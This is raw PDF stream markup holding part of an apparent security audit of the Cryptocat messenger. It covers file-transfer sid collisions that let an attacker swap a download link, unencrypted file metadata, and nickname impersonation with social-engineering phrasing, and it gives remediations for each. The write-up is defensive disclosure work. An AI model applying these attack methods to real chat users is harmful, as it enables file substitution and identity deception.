BT 1 0 0 1 0 14 Tm 2.268443 Tw 12 TL /F1 10 Tf 0 0 0 rg (Where ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (is deployed \(including the production ) Tj /F3 10 Tf (crypto.cat ) Tj /F1 10 Tf (service\), a ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (attack against ) Tj /F3 10 Tf (TLS) Tj T* 0 Tw /F1 10 Tf (protected servers could be used to leverage this attack,) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 525.0236 cm
Q
q
1 0 0 1 62.69291 513.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Where ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (is ) Tj /F3 10 Tf (not ) Tj /F1 10 Tf (used, this attack is feasible at an unknown number of routers on the Internet.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 513.0236 cm
Q
q
1 0 0 1 62.69291 483.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .438221 Tw (An attacker can be assumed to know the conversation name, since that is available by the same passive) Tj T* 0 Tw (monitoring. Therefore, they are able to send their replacement file in the same conversation.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 417.0236 cm
q
BT 1 0 0 1 0 50 Tm 1.577045 Tw 12 TL /F1 10 Tf 0 0 0 rg (The replacement file must be sent after the ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (is known, and its transfer must complete before the) Tj T* 0 Tw .700574 Tw (targeted file transfer. This is straightfoward if the replacement file is smaller than the targeted one or the) Tj T* 0 Tw .490651 Tw (attacker has higher bandwidth than the victim sender. Alternatively, since the ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (increments by one for) Tj T* 0 Tw .398988 Tw (each unique ID used in a session, it can be guessed in advance of a file transfer, allowing the attacker to) Tj T* 0 Tw (start their transfer before the targeted one.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 375.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL .56881 Tw (The attack depends on the victim receiver having a one-to-one chat window to the victim sender open at) Tj T* 0 Tw 1.308221 Tw (the point when the attacker's file transfer completes. If the victim receiver is expecting to receive a file) Tj T* 0 Tw (from a given sender then it is quite likely they will have that buddy's window open.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 333.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL .322765 Tw (The victim receiver will also receive a notification that the attacker has sent a file. The attacker can cause) Tj T* 0 Tw .389461 Tw (the notification to disappear too quickly to be seen, by logging out the buddy used for the attack just after) Tj T* 0 Tw (the transfer completes.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 279.0236 cm
q
BT 1 0 0 1 0 38 Tm 1.129983 Tw 12 TL /F2 10 Tf 0 0 0 rg (Verification: ) Tj /F1 10 Tf (We verified this issue by source code inspection and by experimentation. To simulate the) Tj T* 0 Tw .193984 Tw (attacker being able to eavesdrop the ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (field, the experiments were performed using a modified version) Tj T* 0 Tw 8.74284 Tw (of ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (that forces the ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (to zero for every file transfer, by changing the) Tj T* 0 Tw /F4 10 Tf (Strophe.Connection.getUniqueId ) Tj /F1 10 Tf (function.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 177.0236 cm
q
BT 1 0 0 1 0 86 Tm 10.63198 Tw 12 TL /F2 10 Tf 0 0 0 rg (Implementation Analysis: ) Tj /F1 10 Tf (The ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (identifying each file transfer is obtained from) Tj T* 0 Tw 4.308976 Tw /F4 10 Tf (Strophe.Connection.getUniqueId) Tj /F1 10 Tf (, which starts at a random integer between 0 and 99999) Tj T* 0 Tw .56832 Tw (inclusive, and increments by one on each call. \(Unique IDs are also used for other purposes that are not) Tj T* 0 Tw .371654 Tw (relevant to this issue.\) While a file transfer is in progress, the user interface element in the receiver's chat) Tj T* 0 Tw 1.174985 Tw (window with the sender has a ) Tj /F4 10 Tf (file= ) Tj /F1 10 Tf (attribute referencing the transfer's ) Tj /F4 10 Tf (sid) Tj /F1 10 Tf (. This attribute is used by) Tj T* 0 Tw 1.013307 Tw /F4 10 Tf (Cryptocat.updateFileProgressBar ) Tj /F1 10 Tf (to update the progress bar, and by ) Tj /F4 10 Tf (Cryptocat.addFile ) Tj /F1 10 Tf (to) Tj T* 0 Tw 3.087633 Tw (replace the progress bar with a download link when the transfer is complete. \(It is also used by) Tj T* 0 Tw /F4 10 Tf (Cryptocat.fileTransferError ) Tj /F1 10 Tf (to signal an error.\)) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 159.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (The attack depends on the following code in ) Tj /F4 10 Tf (Cryptocat.addFile) Tj /F1 10 Tf (:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 125.8236 cm
q
q
1 0 0 1 0 0 cm
q
1 0 0 1 6.6 6.6 cm
q
.662745 .662745 .662745 RG
.5 w
.960784 .960784 .862745 rg
n -6 -6 468.6898 24 re B*
Q
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F4 10 Tf 12 TL ($\('[file=' + file + ']'\).replaceWith\(fileLink\)) Tj T* ET
Q
Q
Q
Q
Q
q
1 0 0 1 62.69291 93.82362 cm
q
BT 1 0 0 1 0 14 Tm .262651 Tw 12 TL /F1 10 Tf 0 0 0 rg (which performs a global replace of any currently displayed items having the specified ) Tj /F4 10 Tf (file=sid) Tj /F1 10 Tf (, with the) Tj T* 0 Tw /F3 10 Tf (HTML ) Tj /F1 10 Tf (of the new download link given by ) Tj /F4 10 Tf (fileLink ) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
endstream
endobj
% 'R187': class PDFStream
187 0 obj
% page stream
<< /Length 3386 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 705.0236 cm
q
BT 1 0 0 1 0 50 Tm .701751 Tw 12 TL /F1 10 Tf 0 0 0 rg (Since this is a global replace \(see the ) Tj 0 0 .501961 rg (documentation for replaceWith ) Tj 0 0 0 rg (in ) Tj /F3 10 Tf (jQuery) Tj /F1 10 Tf (\), it affects all file transfer) Tj T* 0 Tw .342485 Tw (elements with the same ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (that are curently visible. Suppose that the victim receiver's client is showing) Tj T* 0 Tw .707984 Tw (the one-to-one chat window for the victim sender, but ) Tj /F4 10 Tf (Cryptocat.addFile ) Tj /F1 10 Tf (is called for a different file) Tj T* 0 Tw .291098 Tw (transfer \(in another chat window\) from the attacker to the same receiver. Then, the UI element in the chat) Tj T* 0 Tw (window for the victim sender will be incorrectly updated to link to the attacker's file.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 663.0236 cm
q
BT 1 0 0 1 0 26 Tm 2.244651 Tw 12 TL /F1 10 Tf 0 0 0 rg (Because the ) Tj /F3 10 Tf (HTML ) Tj /F1 10 Tf (of the file download link does not contain the ) Tj /F4 10 Tf (file= ) Tj /F1 10 Tf (attribute, any subsequent) Tj T* 0 Tw .655251 Tw (updates of that UI element \(including the one that would normally cause it to link to the correct file when) Tj T* 0 Tw (the targeted transfer completes\) will be ignored.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 621.0236 cm
q
BT 1 0 0 1 0 26 Tm .82061 Tw 12 TL /F1 10 Tf 0 0 0 rg (For the same reason, the progress bar may also be incorrectly updated, causing it to "bounce" between) Tj T* 0 Tw .354198 Tw (the values for the two transfers with the same ) Tj /F4 10 Tf (sid) Tj /F1 10 Tf (. Similarly, a file transfer error may cause the wrong UI) Tj T* 0 Tw (element to be updated.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 591.0236 cm
q
BT 1 0 0 1 0 14 Tm 3.079147 Tw 12 TL /F2 10 Tf 0 0 0 rg (Live Mitigation: ) Tj /F1 10 Tf (The Cryptocat developers have already \(since 2013-11-29\) released a version of) Tj T* 0 Tw (Cryptocat \() Tj 0 0 .501961 rg (v2.1.16) Tj 0 0 0 rg (\) with file transmission disabled, so issue is already mitigated.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 513.0236 cm
q
BT 1 0 0 1 0 62 Tm .00936 Tw 12 TL /F2 10 Tf 0 0 0 rg (Remediation: ) Tj /F1 10 Tf (Ensure that ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (values are always scoped to a particular buddy \(i.e. scoped to a particular) Tj T* 0 Tw .268221 Tw (chat window\). ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (values are chosen by the sender under normal operation but could also be chosen by) Tj T* 0 Tw 1.05528 Tw (the server \(if the server were malicious or had been confused or compromised by an attack\), and ) Tj /F4 10 Tf (sid) Tj T* 0 Tw .272093 Tw /F1 10 Tf (values cannot be assumed to be unique in any scope other than the buddy that ostensibly sent the sid. In) Tj T* 0 Tw .782988 Tw (fact, per ) Tj 0 0 .501961 rg (strophejs issue 35) Tj 0 0 0 rg (, ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (values in the future are all going to start at 0 and increment, and then) Tj T* 0 Tw (restart at 0 if that buddy disconnects from and reconnects to the server.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 495.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (In particular, the global ) Tj /F4 10 Tf (replaceWith ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (Cryptocat.addFile ) Tj /F1 10 Tf (can be removed.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 495.0236 cm
Q
endstream
endobj
% 'R188': class PDFStream
188 0 obj
% page stream
<< /Length 8399 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 747.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Issue D. File Name, Mimetype, and Size Lack Confidentiality) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 729.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Reported: ) Tj /F1 10 Tf (2014-01-26) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 687.0236 cm
q
BT 1 0 0 1 0 26 Tm .19061 Tw 12 TL /F2 10 Tf 0 0 0 rg (Synopsis: ) Tj /F1 10 Tf (The file transfer protocol relies on the ) Tj 0 0 .501961 rg (SI File Transfer) Tj 0 0 0 rg ( ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (protocol extension to transmit file) Tj T* 0 Tw 1.724269 Tw (metadata prior to transfer. These metadata are transmitted outside of ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (and lack its confidentiality) Tj T* 0 Tw (features.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 657.0236 cm
q
BT 1 0 0 1 0 14 Tm .139269 Tw 12 TL /F2 10 Tf 0 0 0 rg (Impact: ) Tj /F1 10 Tf (An eavesdropper may discover filenames, ) Tj /F3 10 Tf (MIME ) Tj /F1 10 Tf (types, and sizes of transferred files. The privacy) Tj T* 0 Tw (impact of this exposure is quite limited:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 651.0236 cm
Q
q
1 0 0 1 62.69291 651.0236 cm
Q
q
1 0 0 1 62.69291 627.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL 1.24229 Tw (Filenames are currently randomly generated for each transfer and not associated with the original) Tj T* 0 Tw (source file.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 621.0236 cm
Q
q
1 0 0 1 62.69291 597.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 2.893318 Tw 12 TL /F3 10 Tf 0 0 0 rg (MIME ) Tj /F1 10 Tf (types are restricted to images and zipfiles, so attackers only learn which of these two) Tj T* 0 Tw (categories a file is in.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 591.0236 cm
Q
q
1 0 0 1 62.69291 579.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (Sizes are in exact bytes, but the size is revealed in any case by the length of the file ciphertext.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 579.0236 cm
Q
q
1 0 0 1 62.69291 549.0236 cm
q
BT 1 0 0 1 0 14 Tm .049985 Tw 12 TL /F2 10 Tf 0 0 0 rg (Feasibility: ) Tj /F1 10 Tf (An attacker must have access to the ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (traffic \(or the container protocol traffic: ) Tj /F3 10 Tf (BOSH ) Tj /F1 10 Tf (and) Tj T* 0 Tw /F3 10 Tf (HTTP) Tj /F1 10 Tf (\). This access is possible through several vectors:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 543.0236 cm
Q
q
1 0 0 1 62.69291 543.0236 cm
Q
q
1 0 0 1 62.69291 519.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL 1.204597 Tw (A server compromise \(including malicious insiders\) could allow live traffic sniffing to recover these) Tj T* 0 Tw (messages.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 513.0236 cm
Q
q
1 0 0 1 62.69291 501.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (A server host compromise may grant access to log files containing recorded messages.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 495.0236 cm
Q
q
1 0 0 1 62.69291 483.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (Browser logs or caches may contain recorded messages.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 477.0236 cm
Q
q
1 0 0 1 62.69291 453.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 1.24229 Tw 12 TL /F1 10 Tf 0 0 0 rg (Where ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (is deployed \(including the production ) Tj /F3 10 Tf (crypto.cat ) Tj /F1 10 Tf (service\), an active ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (attack against) Tj T* 0 Tw /F3 10 Tf (TLS ) Tj /F1 10 Tf (protected servers could be used to leverage this attack.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 447.0236 cm
Q
q
1 0 0 1 62.69291 435.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Where ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (is ) Tj /F3 10 Tf (not ) Tj /F1 10 Tf (used, this attack is feasible at an unknown number of routers on the Internet.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 435.0236 cm
Q
q
1 0 0 1 62.69291 405.0236 cm
q
BT 1 0 0 1 0 14 Tm 1.987126 Tw 12 TL /F2 10 Tf 0 0 0 rg (Verification: ) Tj /F1 10 Tf (We verified this issue by using Chrome's developer console to view the IBB messages) Tj T* 0 Tw (transmitted over HTTPS, for example:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 222.2617 cm
q
q
.96447 0 0 .96447 0 0 cm
q
1 0 0 1 6.6 6.843137 cm
q
.662745 .662745 .662745 RG
.5 w
.960784 .960784 .862745 rg
n -6 -6 486 180 re B*
Q
q
BT 1 0 0 1 0 158 Tm 12 TL /F7 10 Tf 0 .501961 0 rg (<) Tj (body) Tj /F4 10 Tf 0 0 0 rg ( ) Tj .490196 .564706 .160784 rg (rid=) Tj .729412 .129412 .129412 rg ("3814497183") Tj 0 0 0 rg ( ) Tj .490196 .564706 .160784 rg (sid=) Tj .729412 .129412 .129412 rg ("e58708cb6438d43ffe6732dcd3ff855f1d690978") Tj 0 0 0 rg T* ( ) Tj .490196 .564706 .160784 rg (xmlns=) Tj .729412 .129412 .129412 rg ("http://jabber.org/protocol/httpbind") Tj /F7 10 Tf 0 .501961 0 rg (>) Tj /F4 10 Tf 0 0 0 rg T* ( ) Tj /F7 10 Tf 0 .501961 0 rg (<) Tj (iq) Tj /F4 10 Tf 0 0 0 rg ( ) Tj .490196 .564706 .160784 rg (id=) Tj .729412 .129412 .129412 rg ("3075:si-filetransfer") Tj 0 0 0 rg ( ) Tj .490196 .564706 .160784 rg (to=) Tj .729412 .129412 .129412 rg ("cryptocataudit@conference.crypto.cat/daira") Tj 0 0 0 rg T* ( ) Tj .490196 .564706 .160784 rg (type=) Tj .729412 .129412 .129412 rg ("set") Tj 0 0 0 rg ( ) Tj .490196 .564706 .160784 rg (xmlns=) Tj .729412 .129412 .129412 rg ("jabber:client") Tj /F7 10 Tf 0 .501961 0 rg (>) Tj /F4 10 Tf 0 0 0 rg T* ( ) Tj /F7 10 Tf 0 .501961 0 rg (<) Tj (si) Tj /F4 10 Tf 0 0 0 rg ( ) Tj .490196 .564706 .160784 rg (id=) Tj .729412 .129412 .129412 rg ("3074") Tj 0 0 0 rg ( ) Tj .490196 .564706 .160784 rg (mime-type=) Tj .729412 .129412 .129412 rg ("application/zip") Tj 0 0 0 rg T* ( ) Tj .490196 .564706 .160784 rg (profile=) Tj .729412 .129412 .129412 rg ("http://jabber.org/protocol/si/profile/file-transfer") Tj 0 0 0 rg T* ( ) Tj .490196 .564706 .160784 rg (xmlns=) Tj .729412 .129412 .129412 rg ("http://jabber.org/protocol/si") Tj /F7 10 Tf 0 .501961 0 rg (>) Tj /F4 10 Tf 0 0 0 rg T* ( ) Tj /F7 10 Tf 0 .501961 0 rg (<) Tj (file) Tj /F4 10 Tf 0 0 0 rg ( ) Tj .490196 .564706 .160784 rg (name=) Tj .729412 .129412 .129412 rg ("229f1c684a5324e50fd5c03b996f8d87.zip") Tj 0 0 0 rg ( ) Tj .490196 .564706 .160784 rg (size=) Tj .729412 .129412 .129412 rg ("158") Tj 0 0 0 rg T* ( ) Tj .490196 .564706 .160784 rg (xmlns=) Tj .729412 .129412 .129412 rg ("http://jabber.org/protocol/si/profile/file-transfer") Tj /F7 10 Tf 0 .501961 0 rg (/) Tj (>) Tj /F4 10 Tf 0 0 0 rg T* ( [...]) Tj T* ( ) Tj /F7 10 Tf 0 .501961 0 rg (<) Tj (/si) Tj (>) Tj /F4 10 Tf 0 0 0 rg T* ( ) Tj /F7 10 Tf 0 .501961 0 rg (<) Tj (/iq) Tj (>) Tj /F4 10 Tf 0 0 0 rg T* ( [...]) Tj T* /F7 10 Tf 0 .501961 0 rg (<) Tj (/body) Tj (>) Tj T* ET
Q
Q
Q
Q
Q
q
1 0 0 1 62.69291 202.2617 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Suggested Remediation: ) Tj /F1 10 Tf (In any newly designed file transfer protocol, ensure that metadata is encrypted.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 202.2617 cm
Q
endstream
endobj
% 'R189': class PDFStream
189 0 obj
% page stream
<< /Length 7380 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 729.0236 cm
q
BT 1 0 0 1 0 21 Tm 18 TL /F2 15 Tf 0 0 0 rg (Issue E. You Log Out, Attacker Logs in with the same Nickname,) Tj T* (Your Friend Thinks The Attacker is You) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 711.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Reported: ) Tj /F1 10 Tf (2014-01-26) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 681.0236 cm
q
BT 1 0 0 1 0 14 Tm .864104 Tw 12 TL /F2 10 Tf 0 0 0 rg (Synopsis:) Tj /F1 10 Tf ( ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (uses an identification model in which a client that knows the name of a channel is) Tj T* 0 Tw (able to log in to that channel and claim any unused nickname.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 651.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .334198 Tw (Users may believe that an attacker using a given nickname is the same party as the previous user of that) Tj T* 0 Tw (nickname.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 597.0236 cm
q
BT 1 0 0 1 0 38 Tm 2.141163 Tw 12 TL /F1 10 Tf 0 0 0 rg (This risk is intended to be mitigated by the use of the Socialist Millionaire Protocol \() Tj /F3 10 Tf (SMP) Tj /F1 10 Tf (\). Within a) Tj T* 0 Tw 2.237633 Tw (pairwise session between two users, it is possible to use the ) Tj /F3 10 Tf (SMP ) Tj /F1 10 Tf (to verify shared knowledge of a) Tj T* 0 Tw 1.923555 Tw (prearranged secret. However, a pair of users who wished to authenticate all of their communications) Tj T* 0 Tw (would need to repeat the ) Tj /F3 10 Tf (SMP ) Tj /F1 10 Tf (on ) Tj /F3 10 Tf (every ) Tj /F1 10 Tf (pairwise session between those users.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 567.0236 cm
q
BT 1 0 0 1 0 14 Tm .107882 Tw 12 TL /F1 10 Tf 0 0 0 rg (\(A "pairwise session" in this sense ends when either user logs out. It is not the same as the ) Tj /F3 10 Tf (Diffie-Hellman) Tj T* 0 Tw /F1 10 Tf (sessions involved in Issues A and B.\)) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 477.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 74 Tm /F1 10 Tf 12 TL 1.645318 Tw (This issue could be exacerbated if the attacker observes the session status, for example, an attacker) Tj T* 0 Tw 1.401235 Tw (could watch the status of the \(encrypted\) conversation between Alice and Bob, then see that Bob has) Tj T* 0 Tw 1.162927 Tw (logged out, then log in and choose the nickname "Bob", then initiate a conversation with Alice and say) Tj T* 0 Tw .778735 Tw (\223One more thing\205\224. The timing of the initiation of the new session, and the natural-sounding \223One more) Tj T* 0 Tw 1.705318 Tw (thing\205\224 would trigger Alice's social response to a resumed conversation and may make her forget to) Tj T* 0 Tw 1.525542 Tw (question whether this is a different user. This is an example of using social engineering as part of an) Tj T* 0 Tw (attack.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 399.0236 cm
q
BT 1 0 0 1 0 62 Tm 1.926098 Tw 12 TL /F1 10 Tf 0 0 0 rg (Another way this issue could be exacerbated is if the attacker can force a user to disconnect. If the) Tj T* 0 Tw 2.045433 Tw (attacker controls the Cryptocat server, can Man-In-The-Middle the ) Tj /F3 10 Tf (HTTP\(S\) ) Tj /F1 10 Tf (connections between the) Tj T* 0 Tw 1.772209 Tw (clients and the server, or can use a Denial-of-Service attack on one of the clients, they can cause a) Tj T* 0 Tw 1.129982 Tw (disconnect. For example, an attacker could observe an \(encrypted\) conversation in progress, force one) Tj T* 0 Tw .709985 Tw (party to disconnect from the Cryptocat server, log in and choose the nickname that party was previously) Tj T* 0 Tw (using, establish a session with the other party, and then say \223Sorry. What were you saying?\224.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 357.0236 cm
q
BT 1 0 0 1 0 26 Tm 2.424651 Tw 12 TL /F1 10 Tf 0 0 0 rg (This issue is exacerbated by the wording of login messages. Suppose that Alice performs an ) Tj /F3 10 Tf (SMP) Tj T* 0 Tw .806235 Tw /F1 10 Tf (verification with Bob; then Bob logs out and someone claiming the nickname "Bob" logs in. Alice's client) Tj T* 0 Tw (will display this to her as "Bob logged in.", but there is no assurance that this is the same Bob.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 255.0236 cm
q
BT 1 0 0 1 0 86 Tm .53528 Tw 12 TL /F1 10 Tf 0 0 0 rg (Using ) Tj /F3 10 Tf (SMP ) Tj /F1 10 Tf (to gain assurance of the identity of the counterparty is inconvenient. Each run of the protocol) Tj T* 0 Tw 2.967485 Tw (requires 6 mouse clicks and entry of the secret question and answer from the initiating user; the) Tj T* 0 Tw 1.854985 Tw (responding user needs to answer the question and make 2 mouse clicks. The initiating user gets an) Tj T* 0 Tw .056905 Tw (indication that the protocol succeeded, but the responding user does not. Therefore, mutual authentication) Tj T* 0 Tw .45104 Tw (requires at least 8 mouse clicks in each session from both users, plus one entry of a secret question and) Tj T* 0 Tw .421984 Tw (two entries of a secret answer from both users, plus any out-of-band communication and thought needed) Tj T* 0 Tw 1.050651 Tw (to agree on the question and answer. This assumes that the authentication succeeds in both directions) Tj T* 0 Tw (first time, and does not need to be retried.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 225.0236 cm
q
BT 1 0 0 1 0 14 Tm .653516 Tw 12 TL /F1 10 Tf 0 0 0 rg (After the initial dialog in the initiator's client confirming that ) Tj /F3 10 Tf (SMP ) Tj /F1 10 Tf (has succeeded, there is no indication in) Tj T* 0 Tw (the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (user interface that a successful ) Tj /F3 10 Tf (SMP ) Tj /F1 10 Tf (run has been completed with a given user.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 195.0236 cm
q
BT 1 0 0 1 0 14 Tm 1.320574 Tw 12 TL /F1 10 Tf 0 0 0 rg (Note that temporary network outages may also cause users to log out and then in again. Under some) Tj T* 0 Tw (conditions, this could be sufficiently frequent to make it impractical to run ) Tj /F3 10 Tf (SMP ) Tj /F1 10 Tf (on each pairwise session.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 165.0236 cm
q
BT 1 0 0 1 0 14 Tm .063059 Tw 12 TL /F2 10 Tf 0 0 0 rg (Verification: ) Tj /F1 10 Tf (Observations of the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (user interface during experiments in which different clients log) Tj T* 0 Tw (in with the same nickname.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 147.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F2 10 Tf 12 TL (Suggested Mitigations/Remediations:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 141.0236 cm
Q
q
1 0 0 1 62.69291 141.0236 cm
Q
q
1 0 0 1 62.69291 117.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL 1.556235 Tw (Change the login message from "Bob logged in." to "Someone logged in and chose to be called) Tj T* 0 Tw ('Bob'.") Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 111.0236 cm
Q
q
1 0 0 1 62.69291 99.02362 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
